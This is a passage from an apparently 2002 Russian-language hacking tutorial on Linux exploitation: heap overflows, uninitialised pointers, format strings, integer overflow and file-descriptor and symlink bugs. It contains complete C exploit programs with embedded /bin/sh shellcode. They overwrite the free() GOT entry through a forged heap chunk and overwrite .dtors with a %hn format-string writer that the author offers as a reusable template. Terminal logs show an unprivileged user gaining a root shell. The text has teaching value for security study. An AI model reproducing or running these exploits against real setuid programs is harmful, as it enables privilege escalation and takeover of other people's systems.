какие-нибудь переменные.. Т.е. эта метка служит для функции malloc() указателем, который указывает на то место, откуда стоит начинать выделять байты под переменные! Вот описание структуры malloc_chunk: #define INTERNAL_SIZE_T size_t struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd; struct malloc_chunk * bk; }; при вызове malloc() происходит следующее заполнение heap сегмента: <prev_size (размер предыдущего chunk'a)> <size размер chunk'a мужду данным и следующим chunk'ом> <fd><bk><место для данных под переменную> Или как было показано выше: <метка начала><данные><метка конца> При повторном выделении хип примет такую форму: <метка начала><данные> <метка начала других данных><данные><метка конца> И т.д. Соответственно нам нужно подделать эти данные, чтобы добиться желаемого успеха - эксплуитации. Для того, чтобы написать exploit мы должны узнать GOT(Global Offset Table, которая входит в состав любой программы) адрес функции free(): [root@columbia work]# objdump -R ./1 | grep free 08049748 R_386_JUMP_SLOT free [root@columbia work]# Теперь предлагаю пример программы, которая использует эту уязвимость:
#include <stdio.h> #define FREE_GOT_ADDRESS 0x08049748 char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; long getsp() { __asm__("movl %esp,%eax"); } int main(int argc, char **argv) { char buf[501]; long ret; int off=0,i; char *p,*av[3], *ev[2]; char *egg; egg=(char *)malloc(1000); sprintf(egg, "EGG="); memset(egg + 4, 0x90, 1000-1-strlen(shellcode)); sprintf(egg + 1000-1-strlen(shellcode), "%s", shellcode); if(argc>=2) off=atoi(argv[1]); ret = getsp()+off; printf("shellcode addr: 0x%x, offset: %d\n",ret,off); p=buf; *( (void **)p ) = (void *)( 0x21222324 ); // мусор // p+=4; *( (void **)p ) = (void *)( 0x31323334 ); // мусор // p+=4; *( (size_t *)p ) = (size_t)( 0x41424344 & ~0x1 ); // волшебный ключик : ) // p+=4; *( (size_t *)p ) = (size_t)( -4 ); p+=4; *( (void **)p ) = (void *)( FREE_GOT_ADDRESS - 12 ); p+=4; *( (void **)p ) = (void *)( ret ); p+=4; *p='\0'; av[0] = "./1"; av[1] = buf; av[2] = 0; ev[0] = egg; ev[1] = 0; execve(*av, av, ev); return 0; }
Запускаем программу: [root@columbia work]# gcc -o 2 2.c [root@columbia work]# chmod ug+s 1 [root@columbia work]# su nobody sh-2.04$ id uid=99(nobody) gid=99(nobody) groups=99(nobody) sh-2.04$ ./2 1000 shellcode addr: 0xbffffca0, offset: 1000 ---------------- stack: bffffb3c bffffad8 080484e1 08049710 080497f4 bffffb08 4003a177 00000002 bffffb3c bffffb48 08048366 080485f0 00000000 bffffb08 4003a161 00000000 bffffb4 8 401474dc 400165f8 00000002 ---------------- ---------------- stack: bffffb3c bffffad8 080484e1 08049828 08049818 bffffb08 4003a177 00000002 bffffb3c bffffb48 08048366 080485f0 00000000 bffffb08 4003a161 00000000 bffffb4 8 401474dc 400165f8 00000002 ---------------- a=0x8049818, b=0x8049828, b-a=0x10 ---------------- stack: bffffbf7 08049828 00000010 08049828 08049818 bffffb08 4003a177 00000002 bffffb3c bffffb48 08048366 080485f0 00000000 bffffb08 4003a161 00000000 bffffb4 8 401474dc 400165f8 00000002 ---------------- sh-2.04# id uid=0(root) gid=0(root) groups=99(nobody) sh-2.04# А теперь бы я хотел рассмотреть пример такого плана:
main(int argc, char **argv){ char *a,*b,*c; printf("a = %p, b = %p, c = %p\n",a,b,c); strcpy(b,argv[1]); printf("%.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8 x \n"); }
Дело в том, что когда указатель создаётся он получает адрес в хипе и этот адрес не всегда указывает в пустоту, в большенстве случаев он указывает на область, где уже есть данные, такие как: GOT, dtors и т.п. И использование таких вот адресов (непроинициализированных) не всегда безопасно. Пример выше показывает это: [root@columbia work]# gcc -o 3 3.c [root@columbia work]# gdb 3 GNU gdb 5.0rh-5 Red Hat Linux 7.1 ... (gdb) br strcpy Breakpoint 1 at 0x8048380 (gdb) r AAA Starting program: /usr/lib/lib.so.6/work/3 AAA Breakpoint 1 at 0x400a38ba: file ../sysdeps/generic/strcpy.c, line 34. a = 0x804963c, b = 0x8049560, c = 0x8048471 Breakpoint 1, strcpy (dest=0x8049560 "", src=0xbffffc64 "AAA") at ../sysdeps/ge neric/strcpy.c:34 34 ../sysdeps/generic/strcpy.c: No such file or directory. in ../sysdeps/generic/strcpy.c (gdb) x/50x 0x8049560 0x8049560 <force_to_data>: 0x00000000 0xffffffff 0x00000000 0xfffffff f 0x8049570 <__DTOR_END__>: 0x00000000 0x0804959c 0x40016c10 0x4000d9a 0 0x8049580 <_GLOBAL_OFFSET_TABLE_+12>: 0x40131c60 0x08048346 0x4003a0e4 0x4007d5d4 0x8049590 <_GLOBAL_OFFSET_TABLE_+28>: 0x08048376 0x400a38b0 0x00000000 0x00000001 0x80495a0 <_DYNAMIC+4>: 0x00000010 0x0000000c 0x08048308 0x0000000d 0x80495b0 <_DYNAMIC+20>: 0x08048510 0x00000004 0x08048128 0x0000000 5 0x80495c0 <_DYNAMIC+36>: 0x080481f0 0x00000006 0x08048160 0x0000000 a 0x80495d0 <_DYNAMIC+52>: 0x00000086 0x0000000b 0x00000010 0x0000001 5 0x80495e0 <_DYNAMIC+68>: 0x40016be8 0x00000003 0x08049574 0x0000000 2 0x80495f0 <_DYNAMIC+84>: 0x00000030 0x00000014 0x00000011 0x0000001 7 0x8049600 <_DYNAMIC+100>: 0x080482d8 0x00000011 0x080482d0 0x0000001 2 0x8049610 <_DYNAMIC+116>: 0x00000008 0x00000013 0x00000008 0x6ffffff e 0x8049620 <_DYNAMIC+132>: 0x080482a0 0x6fffffff .... (gdb) q [root@columbia work]# ./3 `perl -e 'print "A"x17'` a = 0x80496cc, b = 0x80495f0, c = 0x8048471 bffffc58 080495f0 08048471 40016b64 bffffb4c bffffae8 08048471 080495f0 080496c c bffffb18 4003a177 00000002 bffffb4c Segmentation fault (core dumped) Как видно стек не тронут, как и следовало ожидать! Все процессы протекали в хипе. [root@columbia work]# gdb 3 core GNU gdb 5.0rh-5 Red Hat Linux 7.1 ... #0 0x00000041 in ?? () (gdb) q Далее действия аналогичны главе 1: [root@columbia work]# ./2 1000 shellcode addr: 0xbffffc90, offset: 1000 a = 0x80496cc, b = 0x80495f0, c = 0x8048471 sh-2.04# если же копирование бы производилось в "a", то у нас бы были проблемы с тем, что на пути придётся подделывать адреса и будет не всё так просто. Что касается "с" , то копируя туда мы бы столкнулись с ещё более тяжелыми проблемами :))). Причем стоит ещё сказать, что указатели непроинициализированные по умолчанию упорядоченно указывают на участки в хипе, т.е. в большенстве случаев второй объявленный указатель будет смотреть туда же, куда и наш, что рассматривался выше (в область .dtors, GOT). -----[ 5 ]----- Теперь рассмотрим перезапись буффера (Buffer Overrun). Этого результата можно достичь многими способами. Рассмотрим тот же heap сегмент, который ранее уже был более менее изучен. Начнём сразу с простого примера:
main(int argc , char **argv) { char *a,*b; if(argc==1){ printf("Usage: ./progam Your_name PASSWORD\n"); exit(0); } a=malloc(1); b=malloc(1); strcpy(b,"PASSWD"); strcpy(a,argv[1]); if(strcmp(argv[2],b)==0) printf("SUCCESS! Access granted!\n"); else printf("User anonymous access denied!\n"); }
[root@columbia work]# gcc -o 1 1.c 1.c: In function `main': 1.c:3: warning: assignment makes pointer from integer without a cast 1.c:4: warning: assignment makes pointer from integer without a cast [root@columbia work]# ./1 Usage: ./progam Your_name PASSWORD [root@columbia work]# ./1 CrZ cool User anonymous access denied! [root@columbia work]# ./1 aaa `perl -e 'print "A"x999'` User anonymous access denied! [root@columbia work]# Как и отмечалось выше, если не вызывать free() , то при затирании информации о чужом chunk'e желаемого результата не будет (т.е. мы не сможем воспользоваться методом описанным выше, чтобы при вызове функции free() мы получили желаемый шелл). Но мы попробуем пройти аутентификацию не зная пароля (с помощью перезаписи): [root@columbia work]# ./1 `perl -e 'print "A"x16'`cool cool SUCCESS! Access granted! [root@columbia work]# Т.к. мы уже знаем как работает хип, то труда не составит понять, что мы здесь сделали: т.к. для malloc(1) под переменную отведётся 16 байт (причем 4 конечных принадлежат переменной "b" - информация о "b"), то первые 16 байт можем заполнить мусором, а далее уже пойдёт поле пароля, которое мы перезаписываем на "cool". -----[ 6 ]----- Атаки класса format string основаны на особенности работы функций, которые поддерживают метки подстановок, таких как: %s, %c, %x, %d и т.д. Чтобы понять это лучше опять же лучше рассматривать это на практическом примере: (изучим printf())
main(int argc, char **argv) { printf(argv[1]); printf("\n"); }
Тут происходит простая печать того, что передаётся посредством командной строки в качестве аргумента программы: [root@columbia work]# gcc -o 1 1.c [root@columbia work]# ./1 aaa aaa [root@columbia work]# Но, т.к. printf() умеет распечатывать данные разных типов преобразовывая исходной поток данных в нужный формат, то в данном случае, когда printf() точно не знает какого формата представленная информация.. то функция printf() будет всегда выводить входные данные как строку... А теперь можно посмотреть, что будет, если мы вместо входных данных дадим программе на печать метки форматов каких-нибудь: [root@columbia work]# ./1 %x,%d,%c,%p bffffb4c,-1073743128,A,0x804950c [root@columbia work]# Вот синтаксис printf(): int printf(const char *format, ...); При наличии данных меток форматов функция printf() пытается взять соответствующий аргумент для данной метки, который по идее должен передаться функции, но увы предварительной проверки на соответствие между кол-ом меток и аргументов функции данного класса не делают.. в результате чего функция подставляет на место метки аргумент, которого нет... и этим аргументом становится в данном случае стек (начиная с его верхушки). Теперь остаётся только понять, каким способом можно это использовать. Т.е. чтение стека во всяком случае уже есть, но хотелось бы и производить запись в стек. Если прочитать мануал по типам форматов, то можно увидеть метку %n, которая предназначена для подсчёта символов, стоящих до этой метки, и результат представляется в виде 32битного числа...после чего результат записывается в соответствующий аргумент функции, так же есть метки типа %hn (16bit), %hhn (8bit). А теперь допустим, что у нас данные сохраняются в файл без учёта того, какого формата данные:
main(int argc, char **argv) { char a[20]; bzero(a,sizeof(a)); snprintf(a,sizeof(a),argv[1]); printf("a = '%s'\n",a); printf("\n%.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\n"); }
Как видно выше, копирование происходит с учетом копируемых данных, а больше, чем размер самого буффера, мы не сможем скопировать: [root@columbia work]# gcc -o 1 1.c [root@columbia work]# ./1 `perl -e 'print "A"x999'` a = 'AAAAAAAAAAAAAAAAAAA' bffff6e0 bffff882 40131c6e 41414141 41414141 41414141 41414141 00414141 bffff77 c [root@columbia work]# %.<NUMBER> позволяет нам распечатывать данные нужной длины и представлять их соответствующим образом. Например, %.8x распишет первый элимент стека с длинной в 8 символов, т.е. если в стеке была 1 (единица), то она представилась бы как 00000001.. Если же бы %.8 не было и стоял бы только %x, то единица бы распечаталась в таком же виде - 1 (без нулей спереди). Это хорошо видно из самой программы, что выше. Она распечатывает каждый элемент стека как величину с фиксированной длинной в 8 символов. Теперь наша задача состоит в том, чтобы переписать нужный нам адрес, на наш собственный.. весь этот процесс имеет следующий синтаксис: (точный) <адрес, что нужно переписать (в строковом виде)>%. <(меньшая часть нового адреса в десятичном виде)-8>x% <смещение до начала буффера с учётом той части, которая больше>$hn%. <(большая часть в десятичном виде)-(меньшая часть в десятичном виде)>x% <смещение с учётом большей части%>$hn Теперь стоит пояснить что такое меньшая и большая часть адреса: Адрес представим в следующем виде - 0xaaaabbbb. И этот адрес можно разделить на 2 куска 0xaaaa (это верхняя часть) и 0xbbbb (это нижняя). Если адреса можно представить в десятичном виде и далее действовать по формуле, с учетом какая из частей больше. Нужно выяснить где находится начало нашего буффера (смещение до начала), т.к. посредством меток (%x, к примеру) мы путешествуем по стеку начиная с его начала, а нам нужно не начало, а местоположение начала того буффера, в который идёт копирование (т.е. начальная точка, с которой начинаются заноситься данные в буффер), чтобы определить правильно расстояние до того адреса, который нам следует переписать: [root@columbia work]# gcc -o 1 1.c [root@columbia work]# ./1 AAAA%1\$x a = 'AAAA40131c6e' bffffab0 bffffc55 40131c6e 41414141 33313034 65366331 00000000 00000000 bffffb4 c [root@columbia work]# ./1 AAAA%2\$x a = 'AAAA41414141' bffffab0 bffffc55 40131c6e 41414141 31343134 31343134 00000000 00000000 bffffb4 c [root@columbia work]# Мы выяснили смещение до начальной позиции буффера - 2. Теперь наша задача кроется в том, чтобы выяснить нужный адрес, который мы хотим переписать и адрес, на который мы хотим переписать. Тут есть много вариантов, но удобней всего переписать тот адрес, который всегда присутствует и , который всегда можно узнать ;).. Это .dtors (адрес деструктора, который вызывается сразу после завершения работы программы! Так же существует и конструктор - .ctors, но он нам не интересен, т.к. вызывается сразу же при старте программы и переписав этот адрес, мы не сможем добиться нужного эффекта, т.к. конструктор вызывается всего лишь раз (в начале)). [root@columbia work]# objdump -s -j .dtors ./1 ./1: file format elf32-i386 Contents of section .dtors: 804963c ffffffff 00000000 ........ [root@columbia work]# Теперь остаётся узнать адрес шеллкода. Для разрешения этой проблемы есть 2 способа: 1. поместить шеллкод в буффер уязвимой программы и методом тыка попытаться задать приближённый адрес до шеллкода. 2. поместить шеллкод в переменную окружения и так же задать его приблизительное место положение, либо же можно просто напросто найти этот адрес в памяти. Отличие между 2мя способами заключается в том, что иногда размер буффера, в который идёт копирование бывает очень маленьких размеров и непригоден для размещения в нём шеллкода, тогда можно прибегнуть ко второму способу, который и удобен и почти всегда может использоваться ;). Теперь остаётся дело техники.. Вот пример программы, которая использует данную уязвимость: (я её сделал очень маленькой и очень универсальной :), т.ч. она может юзаться как шаблон)
#include <stdio.h> char buf[100]; char shellcode[]= "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; long getsp() { __asm__("movl %esp,%eax"); } char *fmt_str_creator(long GOT, long RET, int ALIGN) { long high,low; memset(buf,0x00,sizeof(buf)); high=(RET >> 16) & 0xffff; // выделяем верхную часть и заносим её в hig h low = RET & 0xffff; // выделяем нижнюю часть и заносим в low sprintf(buf,"%c%c%c%c%c%c%c%c%%.%dx%%%d$hn%%.%dx%%%d$hn", (char)((GOT&0xff)+2),(char)((GOT>>8)&0xff),(char)((GOT>>16)&0xf f),(char)((GOT>>24)&0xff), (char)(GOT&0xff),(char)((GOT>>8)&0xff),(char)((GOT>>16)&0xff),( char)((GOT>>24)&0xff), (high>low)?(low-8):(high-8), (high>low)?(ALIGN+1):(ALIGN), (high>low)?(high-low):(low-high), (high>low)?(ALIGN):(ALIGN+1)); return buf; } int main(int argc, char **argv) { long GOT = 0x804963c; long RET = 0xbffffa04; int ALIGN = 2,off=0; char *av[3], *ev[2]; char *egg,buff[100]; egg=(char *)malloc(1000); sprintf(egg, "EGG="); memset(egg + 4, 0x90, 1000-1-strlen(shellcode)); sprintf(egg + 1000-1-strlen(shellcode), "%s", shellcode); if(argc==1) { printf("Usage: %s <offset> <.dtors address>\n",argv[0]); exit(0); } if(argc>=2) off=atoi(argv[1]); if(argc>=3) sscanf(argv[2],"0x%x",&GOT); RET = getsp()+off; printf("shellcode addr: 0x%x, offset: %d, .dtors: 0x%x\n",RET,off,GOT); memset(buff,0x00,sizeof(buf)); sprintf(buff,"%s",fmt_str_creator(GOT+4,RET,ALIGN)); av[0] = "./1"; av[1] = buff; av[2] = 0; ev[0] = egg; ev[1] = 0; execve(*av, av, ev); return 0; }
А теперь запустим её: [root@columbia work]# gcc -o 2 2.c [root@columbia work]# ./2 Usage: ./2 <offset> <.dtors address> [root@columbia work]# objdump -s -j .dtors ./1 ./1: file format elf32-i386 Contents of section .dtors: 804963c ffffffff 00000000 ........ [root@columbia work]# chmod ug+s 1 [root@columbia work]# su nobody sh-2.04$ id uid=99(nobody) gid=99(nobody) groups=99(nobody) sh-2.04$ ./2 1000 0x804963c shellcode addr: 0xbffffe30, offset: 1000, .dtors: 0x804963c a = 'B@00000000000' bffffaa0 bffffbed 40131c6e 08049642 08049640 30303030 30303030 00303030 bffffb3 c sh-2.04# id uid=0(root) gid=0(root) groups=99(nobody) sh-2.04# Как видно выше принцип замечательно работает! ;) -----[ 7 ]----- Теперь перейдём к иному виду атаки, который называется Integer Overflow, ибо виной всему становится "игра в цифры" (результатом которого является какое-либо переполнение либо просто незапланированный исход программы), т.е. атакующий контролирует некоторые цифры, которые очень важны для правильной работы уязвимой программы. Для визуализации хочу привести следующий пример:
main(int argc, char **argv) { int fd=666; printf("fd = %p, sizeof int = %d, sizeof fd = %d\n",fd,sizeof(int),size of(fd)); printf("%.8x %.8x %.8x %.8x %.8x %.8x %.8x\n"); fd=atoi(argv[1]); printf("%.8x %.8x %.8x %.8x %.8x %.8x %.8x\n"); printf("fd=%d\n",fd); fd++; printf("%.8x %.8x %.8x %.8x %.8x %.8x %.8x\n"); printf("fd=%d\n",fd); }
Теперь можно поиграть немного: [root@columbia work]# ./2 11111111111111111111111111111111111 fd = 0x29a, sizeof int = 4, sizeof fd = 4 0000029a 00000004 00000004 08049650 0000029a bffffb08 4003a177 0000029a 00000004 00000004 08049650 7fffffff bffffb08 4003a177 fd=2147483647 7fffffff 00000004 00000004 08049650 80000000 bffffb08 4003a177 fd=-2147483648 [root@columbia work]# Как видно максимум дозволенного для положительного int (как и для long) - 7fffffff (2147483647). Хотя по логике вещей для int должно отводиться 0xffff (65535), но т.к. используются все 4 байта (32битный режим), что отведены под переменную, можно ещё понять это. Что произошло с fd.. после того, как ей было присвоено 0x7fffffff, и после этого число увеличили на единицу? Если представить fd в двоичном коде, то, при инкременте, у нас единица вылезает из своего разряда, т.к. превышен максимальный порог положительного числа, хотя результат суммы по модулю будет 2147483648, т.е. на ед. больше... Вот такие вот особенности процессора. То же самое мы увидим и на таком примере, в котором те же действия производятся с регистром (только здесь уже нет контроля длины числа в десятичном виде..и мы можем положить в регистр больше , чем 0x7fffffff.. Вот и запишем в eax, 0x80000000 и прибавим на единицу):
int add() { __asm__("movl $2147483648,%eax\n" "inc %eax\n"); } main() { printf("eax = %d\n",add()); printf("Done!\n"); }
Результат: [root@columbia work]# !gcc gcc -o 3 3.c [root@columbia work]# ./3 eax = -2147483647 Done! [root@columbia work]# Уже... -2147483647 (-0x7fffffff), а если занести 0x7fffffff и сделать инкремент, то получим -2147483648. Если же занести -2147483649 и прибавить на единицу, то получим -2147483646 и т.п. Т.е. уже ясно, что для положительных и отрицательных чисел есть свои границы (т.е. диапозон ffffffff делится пополам): 0..7fffffff положительные 80000000..ffffffff отрицательные Вот почему мы, пихав очень большое положительное число, не могли его туда запихнуть, а запихивали только максимум положительного числа - 7fffffff. Если мы подадим в регистр eax -1, то при инкременте получим 0, этого же результата можно получить, если занести число 0xffffffff (4294967295) и прибавить его на единицу, если занести 0xfffffffe (4294967294), то получим -1. Разумеется, этот недостаток можно применять в разного рода операциях, при копировании, к примеру, при выделении памяти, при чтении и записи и т.п. простой пример:
main(int argc, char **argv) { char a[100]; int i=atoi(argv[1]); if(i<0) i=-i; i+=1; printf("a=%p,%d,i=%d\n",a,sizeof(a),i); snprintf(a,sizeof(a)-i,"%s",argv[2]); printf("a = '%s'\n",a); }
[root@columbia work]# ./5 -12 `perl -e 'print "A"x999'` a=0xbffff680,100,i=13 a = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' [root@columbia work]# ./5 11111111111111111111111111111111111 `perl -e 'print " A"x10'` a=0xbffffa40,100,i=-2147483648 a = 'AAAAAAAAAA' [root@columbia work]# ./5 11111111111111111111111111111111111 `perl -e 'print " A"x666'` a=0xbffff7b0,100,i=-2147483648 a = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' Segmentation fault (core dumped) [root@columbia work]# gdb 5 core GNU gdb 5.0rh-5 Red Hat Linux 7.1 ... #0 0x41414141 in ?? () (gdb) Из выше изложенного видно, что если мы попытаемся подать отрицательное число в качестве параметра argv[1], то оно сразу же станет положительным...но мы можем воспользоваться тем, что у нас может произойти переполнение переменной i и тем самым эта переменная сменит свой знак, т.к. будет находиться в диапозоне отрицательных чисел... и как видно разность sizeof(a)-i (при i<0) становится положительной и гораздо больше, чем размер буффера "а", что может привести к переполнению буффера. Как и показано выше! Ну а далее дело техники, которая уже была описана в главе 1. -----[ 8 ]----- Так же хотелось упомянуть такие виды атак, которые стали на сей день новомодными.. К примеру, атака, ставшая в последнее время широко применяемой, после того, как народ узнал об ошибке связанной с закрытием дескрипторов, ответственных за ввод/ вывод (stdin (0), stdout (1), stderr (2)). Чтобы наглядно показать суть проблемы, давайте рассмотрим следующий пример: пример уязвимой программы:
#include <fcntl.h> #include <stdio.h> int main() { int fd; system("echo>file.txt"); close(2); fd=open("file.txt",O_WRONLY); fprintf(stderr,"y0 niGGa!\n"); close(fd); }
Исход данной программы будет такой, что в результате, т.к. stderr закрыт, фраза "y0 niGGa!" будет перенаправлена на дескриптор, что выше, т.е. fd. (фактически сам stderr будет указывать на fd) В результате чего она (фраза) запишется в файл! А если представить, что данная программа работает с файлом /etc/shadow, то исход может привести к захвату сис-мы! [root@columbia work]# gcc -o 5 5.c [root@columbia work]# ls -la file.txt ls: file.txt: No such file or directory [root@columbia work]# ./5 [root@columbia work]# cat file.txt y0 niGGa! [root@columbia work]# То же самое можно делать и с STDIN, STDOUT... Так же не менее популярна ошибка связанная с работой с файлами! Многие программисты не уделяют этому должное внимание и не проверяют на существование файла, в результате чего атакующий может просто воспользоваться и перенаправить поток данных в другой файл (например, в тот же /etc/shadow). Рассмотрим пример уязвимой программы:
#include <fcntl.h> main() { int fd; fd=open("file",O_WRONLY|O_CREAT,0666); if(fd!=-1) { write(fd,"LOGIN:PASS\n",11); close(fd); printf("DONE!\n"); } else { printf("some error was occured!\n"); } }
Теперь можно посмореть как программа работает: [root@columbia work]# gcc -o 2 2.c [root@columbia work]# rm -rf file* [root@columbia work]# ./2 DONE! [root@columbia work]# cat file LOGIN:PASS [root@columbia work]# rm -rf file* [root@columbia work]# touch file2 [root@columbia work]# ln -s file2 file [root@columbia work]# ls -la file* lrwxrwxrwx 1 root root 5 Dec 23 11:17 file -> file2 -rw-r--r-- 1 root root 0 Dec 23 11:17 file2 [root@columbia work]# ./2 DONE! [root@columbia work]# cat file2 LOGIN:PASS [root@columbia work]# А теперь вставим проверку на существование файла при попытке его открытия:
#include <fcntl.h> main() { int fd; fd=open("file",O_WRONLY|O_CREAT|O_EXCL,0666); if(fd!=-1) { write(fd,"LOGIN:PASS\n",11); close(fd); printf("DONE!\n"); } else { printf("some error was occured!\n"); } }
[root@columbia work]# rm -rf file* [root@columbia work]# touch file2 [root@columbia work]# ln -s file2 file [root@columbia work]# ls -la file* lrwxrwxrwx 1 root root 5 Dec 23 11:25 file -> file2 -rw-r--r-- 1 root root 0 Dec 23 11:25 file2 [root@columbia work]# ./2 some error was occured! [root@columbia work]# !ls ls -la file* lrwxrwxrwx 1 root root 5 Dec 23 11:25 file -> file2 -rw-r--r-- 1 root root 0 Dec 23 11:25 file2 [root@columbia work]# Вот теперь открытые будет безопасным... И ещё один интересный момент, пожалуй, который мало вероятно, что встретится вообще когда-нибудь ;). Очень интересное явление происходит при таком синтаксисе записи в файловый дескриптор: write(int fd, const char str, negative integer); т.е. при: write(fd,"La-la-la",-666); мы запишем в fd (будь то файл или сокет или ещё что-либо) бинарный код исходной программы начиная с момента записи. Но не тот код, что получается при компиляции, а тот, что сиди в памяти. При этом будут видны все строки, которые идут открытым текстом в коде программы после нашего write(). Вот пример:
#include <fcntl.h> main() { int fd; fd=open("file",O_WRONLY|O_CREAT|O_EXCL,0666); if(fd!=-1) { write(fd,"LOGIN:PASS\n",-11); close(fd); printf("DONE!\n"); } else { printf("some error was occured!\n"); } }
[root@columbia work]# gcc -o 6 6.c [root@columbia work]# ls -la file ls: file: No such file or directory [root@columbia work]# ./6 DONE! [root@columbia work]# ls -la file -rw-r--r-- 1 root root 4096 Dec 24 13:13 file [root@columbia work]# strings file LOGIN:PASS DONE! some error was occured! init.c /usr/src/bs/BUILD/glibc-2.2.2/csu/ gcc2_compiled. int:t(0,1)=r(0,1);-2147483648;2147483647; char:t(0,2)=r(0,2);0;127; long int:t(0,3)=r(0,3);-2147483648;2147483647; unsigned int:t(0,4)=r(0,4);0000000000000;0037777777777; long unsigned int:t(0,5)=r(0,5);0000000000000;0037777777777; long long int:t(0,6)=@s64;r(0,6);010000000 /lib/ld-linux.so.2 __gmon_start__ libc.so.6 printf __cxa_finalize write __deregister_frame_info _IO_stdin_used __libc_start_main open __register_frame_info close GLIBC_2.1.3 GLIBC_2.0 PTRh file [root@columbia work]# Таким образом можно узнать конечный код программы (если, к примеру, её нельзя было отладить или просмотреть из-за отсутствия пермишена на чтение), но, увы, вероятность возникновения такой ситуации очень мала, ибо именно, когда на запись подаётся строковая константа при негативном кол-ве записываемых байт... у нас получается вот такой вот excess. Если же вместо строковой константы "La-la-la" передать переменную типа "char buf[40]", то данного результата уже не будет. -----[ 9 ]----- 1. Подробно про проблему связанную с format string (на русском): + ТЕОРИЯ И ПРАКТИКА АТАК FORMAT STRING(1) http://void.ru/content/760 + ТЕОРИЯ И ПРАКТИКА АТАК FORMAT STRING(2) http://void.ru/content/761 + ТЕОРИЯ И ПРАКТИКА АТАК FORMAT STRING(3) http://void.ru/content/762 + ТЕОРИЯ И ПРАКТИКА АТАК FORMAT STRING(4) http://void.ru/content/763 2. Много всяких статей про большенство тем: Packet Storm http://packetstormsecurity.nl/papers/unix/ 3. информация, связанная с heap: + Phrack http://www.phrack-dont-give-a-shit-about-dmca.org/show.php?p=57&a=8 (и вообще.. советую читать www.phrack.com! там много интересного пишут ;) + w00w00 http://www.w00w00.org/files/articles/heaptut.txt + synnergy http://www.synnergy.net/downloads/papers/vudo-howto.txt +-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Приветы -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | | Billi_k1d ;), aLph4Num3Ric, m0mentas %), L0rda, fixa, texniq, btr,| | ulgrig :))), Ares, ink0gnit0, ac[id] 8), hhs ;))), alpachino,wh ;)| | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+- 0101010 -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Copyright (C) CrZ [crazy_einstein@yahoo.com] 2002 Limpid Byte [lbyte.void.ru] _________________________________________________________________ by krok <http://void.ru/profiles/6>;

<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>

 Добавить комментарий
Имя:
E-Mail:
Заголовок:
Текст:




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру